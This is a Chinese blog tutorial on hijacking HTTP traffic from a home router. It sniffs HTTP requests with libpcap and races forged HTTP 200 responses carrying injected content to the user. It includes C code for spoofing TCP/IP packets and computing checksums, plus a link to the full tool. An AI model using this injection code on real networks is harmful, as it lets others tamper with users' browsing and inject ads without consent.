流量劫持比较复杂,一般来说运营商,路由器厂商,黑客都可能是流量劫持操作者。基于国内大部分网站以http明文协议为主,这无疑给劫持者提供了土壤。
本文演示了家庭路由器流量劫持实现,公共WIFI连接授权实现有点差异,它是用iptables重定向至webserver,有兴趣的同学可参考nodogsplash实现源码。
一. 原理图
原理:
1. 嗅探用户http get请求流量。
2. 伪造http 200包(插入广告代码)。
两种场景:
1. 路由器侧
在路由器侧通过旁路的方式(libpcap)嗅探流量,并将伪造响应先于真实响应前发送给用户,后到的真实响应会被协议栈丢弃。
2. ISP侧
ISP网络设备流量分光至服务器,通过DPDK方式嗅探流量,并回应200 OK包。
二. 代码实现
2.1 实现环境
router: TP-LINK
router os: openwrt
lib:libpcap
2.2 核心代码
1. libpcap流量采集
2. DPI解析
3. 协议伪造
/** * 发送HTTP响应 */ bool sendHttpResponse( char *buff, char *response ) { struct iphdr *ip = (struct iphdr*)buff; struct tcphdr *tcp = (struct tcphdr*)((char*)buff + sizeof(struct iphdr)); int nHeadLen = ip->ihl*4 + tcp->doff*4; int Length = htons(ip->tot_len) - ip->ihl*4 - tcp->doff*4; char *pPacketBuffer = this->PacketBuffer; memset( (void*)pPacketBuffer,0,PACKET_BUFFER_LEN ); // 添加html char *ContentBuffer = pPacketBuffer + 350; int nContentLen = snprintf( ContentBuffer, 1300, response ); // 内容长度 char strLen[25]; int cLen = sprintf( strLen, "%d\r\n\r\n", nContentLen ); /* * nHeadLen(iphead +tcphead) + http_head + content_length + content */ pPacketBuffer = ContentBuffer - ( nHeadLen + sizeof(HTTP_HEAD)-1 + cLen ); memcpy( pPacketBuffer, ip, nHeadLen ); memcpy( pPacketBuffer + nHeadLen, HTTP_HEAD, sizeof(HTTP_HEAD) ); memcpy( pPacketBuffer + nHeadLen + sizeof(HTTP_HEAD)-1,strLen,cLen ); // IP struct iphdr *pTempIP = (struct iphdr*)pPacketBuffer; pTempIP->version = 4; pTempIP->ihl = 5; pTempIP->protocol = IPPROTO_TCP; pTempIP->saddr = ip->daddr; pTempIP->daddr = ip->saddr; // TCP struct tcphdr *pTempTcp = (struct tcphdr*)((char*)pTempIP + sizeof(struct iphdr)); if( pTempTcp == NULL ) { printf( "%s\n","TCP NULL" ); return false; } pTempTcp->source = tcp->dest; pTempTcp->dest = tcp->source; pTempTcp->seq = tcp->ack_seq; pTempTcp->ack_seq = ntohl( ntohl(tcp->seq) + Length ); pTempTcp->ack = 1; pTempTcp->fin = 0; pTempTcp->psh = 1; // 校验和计算 int nLen = nHeadLen + sizeof(HTTP_HEAD)-1 + cLen + nContentLen; pTempIP->tot_len = htons(nLen); IPCheckSum(pTempIP); // 原始套接字发送HTTP响应 m_addr.sin_addr.s_addr = pTempIP->daddr; int count = sendto( m_rawsock, (const char*)pTempIP, ntohs(pTempIP->tot_len), 0, (struct sockaddr *)&m_addr, sizeof(struct sockaddr_in) ); return count > 0; }
4. 校验和计算
a. CRC32校验和计算,参见内核实现。
b. TCP/UDP的checksum,需要包含一个12字节的伪首部。TCP校验和覆盖TCP首部和TCP数据,而IP首部中的校验和只覆盖IP的首部,不覆盖IP数据报中的任何数据。
// IP检验和计算 int IPCheckSum( iphdr* ip ) { if( NULL==ip || 4 != ip->version || 5 > ip->ihl ) { return -1; } unsigned char protocol = ip->protocol; if( !(protocol==IPPROTO_TCP || protocol==IPPROTO_UDP) ) { ip->check = 0; ip->check = CheckSum((unsigned short*)ip, sizeof(struct iphdr)); return 0; } char *ipdata = (char*)ip + ip->ihl*4; // 在tcp/udp头部上添加伪头部,注:直接修改ip头部分,实现比较巧妙 CheckSumHeader *check = (CheckSumHeader*)(ipdata - sizeof(CheckSumHeader)); // temp用于备份ip头部数据 char temp[sizeof(CheckSumHeader)]; memcpy(temp, check, sizeof(CheckSumHeader)); check->SrcIP = ip->saddr; check->DestIP = ip->daddr; check->Zero = 0; check->Protocol = protocol; check->Length = ntohs(ntohs(ip->tot_len) - sizeof(struct iphdr)); // tcp/udp从伪头部开始计算校验和 if (protocol == IPPROTO_TCP) { struct tcphdr *tcp = (struct tcphdr*)ipdata; tcp->check = 0; tcp->check = CheckSum((unsigned short*)check, ntohs(ip->tot_len) - sizeof(struct ip) + sizeof(CheckSumHeader)); // psd + tcp } else if (protocol == IPPROTO_UDP) { struct udphdr *udp = (struct udphdr*)ipdata; udp->check = 0; udp->check = CheckSum((unsigned short*)check, ntohs(ip->tot_len) - sizeof(struct ip) + sizeof(CheckSumHeader)); // psd + tcp } // 恢复原ip头数据 memcpy(check, temp, sizeof(CheckSumHeader)); // 计算IP校验和 ip->check = 0; ip->check = CheckSum((unsigned short*)ip, sizeof(struct iphdr)); return 0; }
三. 测试
请求http://www.163.com,浏览器显示 Hello world。
最后
本文演示了家庭路由器流量劫持实现,由于家庭流量较小,且路由器资源有限,用传统的libpcap勉强能支撑。
如果是ISP机房流量,则需要考虑DPDK高性能采集框架。
近年来国内厂商对劫持引起重视,BAT都采用了https加密网站。
附录:
https://github.com/spkettas/httpfake
相关推荐
《信息安全之Web劫持与流量劫持法律治理研究》这篇文献深入探讨了当前网络空间中的两大安全威胁:Web劫持和流量劫持,并且聚焦于它们的法律治理问题。这是一篇结合技术与法规的深度分析,对于理解网络安全法律体系的...
【流量劫持概述】 流量劫持是指在网络通信过程中,攻击者通过某种手段干扰正常的数据传输,使得原本应发送到目标地址的数据被重定向到攻击者控制的服务器上。这种攻击通常发生在网络的某个节点,如路由器、交换机或...
是一款针对于移动流量劫持而开发的手机抓包软件,可以当作是Android版的‘Fiddler’ 主要功能包括:手机端抓包、PING/DNS/TraceRoute诊断、抓包HAR数据上传分享 使用前请确保手机HTTP代理的关闭
这段路程中短兵相接的战斗往往是最激烈的,在所有流量可能路过的节点往往都埋伏着劫持者,流量劫持的手段也层出不穷,从主页配置篡改、hosts劫持、进程Hook、启动劫持、LSP注入、浏览器插件劫持、http代理过滤、内核...
这个过程在技术上被称为“流量劫持”。 在"淘宝客劫持插件功能演示"中,我们可能看到的内容包括: 1. **安装与激活**:插件的安装通常通过浏览器的扩展商店或者直接下载源码后手动加载到浏览器中。一旦激活,插件...
在CPS计费模式下,流量劫持是常见的作弊手段,包括篡改用户流量来源或修改用户跳转链接,导致广告主自然流量减少,拉新流量增加,或者用户在不知情中跳转到不相关店铺的商品。而在CPA计费模式下,虚假地址问题尤为...
最新判断来路为搜索引擎跳转代码,js来路判断,用于搜索引擎流量劫持,.蜘蛛劫持功能,可以根据来路劫持,也可以根据蜘蛛进行劫持。泛站群跳转代码
Istio 提供了多种性能优化机制,包括流量劫持、 Sidecar 注入、服务发现等。这些机制可以帮助我们提高系统的性能和可靠性。 K8S 集成 Istio 可以与 K8S 进行集成,提供了更好的服务管理和流量控制机制。 Istio ...
在提升效率的同时,确保数据传输的安全性和隐私保护,防范DDoS攻击、流量劫持等网络威胁。 7. 流量管理的最新技术:探讨在流量管理方面出现的新兴技术,例如5G网络技术、软件定义网络(SDN)、网络功能虚拟化(NFV...
- DNS流量劫持成功率:系统需要保证对特定用户访问特定网站的流量进行精准监控,流量劫持成功率需达到90%以上。 - 监控与反制系统并发量:服务器需要具备高并发性能,以处理大量同时被监控的用户。 - 系统运行稳定性...
1. 网络流量劫持:攻击者可以通过欺骗路由器,劫持网络流量,从而获得敏感信息。 2. 网络性能下降:RP攻击可能会导致网络性能下降,影响网络的稳定性和可靠性。 3. 安全漏洞曝光:RP攻击可能会曝光网络中的安全漏洞...
HTTP劫持则是在数据传输过程中,黑客通过中间人攻击方式,对HTTP流量进行篡改;浏览器劫持则常见于恶意插件,它们会改变用户的浏览器设置,如默认主页、搜索引擎等。 【描述】:“随即调用文章,做到安全高效,让更...
3. **安全**:流量劫持和DNS劫持威胁用户隐私。 4. **效率**:不均衡的负载分布会导致服务资源未得到有效利用。 **百度网络接入解决方案** 为解决这些问题,百度采用了以下解决方案: 1. **ITM(智能流量管理)**...
例如,在 2G/3G/4G/Wi-Fi 等多种网络环境下,移动应用的网络访问细节非常复杂,DNS 劫持、HTTP 流量劫持等问题也非常常见。 Mobile Network as a Service(MNaaS)可以通过协议优化、链路优化、就近接入加速节点等...